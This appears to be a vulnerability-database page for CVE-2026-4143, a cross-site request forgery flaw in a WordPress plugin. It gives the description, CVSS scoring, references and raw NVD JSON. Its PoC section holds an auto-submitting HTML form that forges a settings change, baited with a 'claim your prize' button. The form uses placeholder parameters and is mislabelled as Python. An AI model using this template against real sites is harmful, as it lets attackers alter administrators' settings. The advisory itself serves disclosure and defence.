CVE-2026-4143

Description

The Neos Connector for Fakturama plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.0.14. This is due to missing nonce validation in the ncff_add_plugin_page() function which handles settings updates. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request, granted they can trick a site administrator into performing an action such as clicking a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Neos Connector for Fakturama <= 0.0.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-4143 CSRF Vulnerability -->
<!-- This PoC demonstrates how an attacker could trick an admin into changing plugin settings. -->
<html>
  <body>
    <form action="http://target-site/wp-admin/admin.php?page=neosconnectorforfakturama" method="POST">
      <!-- Placeholder for actual parameter names based on plugin source code -->
      <input type="hidden" name="some_setting_key" value="malicious_value" />
      <input type="hidden" name="action" value="save" />
      <input type="submit" value="Click me to claim your prize!" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4143
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4143
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4143/
[4] VulDB https://vuldb.com/cve/CVE-2026-4143
[5] https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/tags/0.0.14/neosconnectorforfakturama-admin.php#L223
[6] https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/tags/0.0.14/neosconnectorforfakturama-admin.php#L231
[7] https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/trunk/neosconnectorforfakturama-admin.php#L223
[8] https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/trunk/neosconnectorforfakturama-admin.php#L231
[9] https://www.wordfence.com/threat-intel/vulnerabilities/id/d6ffc8de-e8e4-41b6-a4b9-79511fb950fc?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4143", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:42.840", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Neos Connector for Fakturama plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 0.0.14. This is due to missing nonce validation in the ncff_add_plugin_page() function which handles settings updates. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request, granted they can trick a site administrator into performing an action such as clicking a link."}, {"lang": "es", "value": "El plugin Neos Connector for Fakturama para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 0.0.14 inclusive. Esto se debe a la falta de validación de nonce en la función ncff_add_plugin_page() que gestiona las actualizaciones de configuración. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/tags/0.0.14/neosconnectorforfakturama-admin.php#L223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/tags/0.0.14/neosconnectorforfakturama-admin.php#L231", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/trunk/neosconnectorforfakturama-admin.php#L223", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/neos-connector-for-fakturama/trunk/neosconnectorforfakturama-admin.php#L231", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d6ffc8de-e8e4-41b6-a4b9-79511fb950fc?source=cve", "source": "[email protected]"}]}}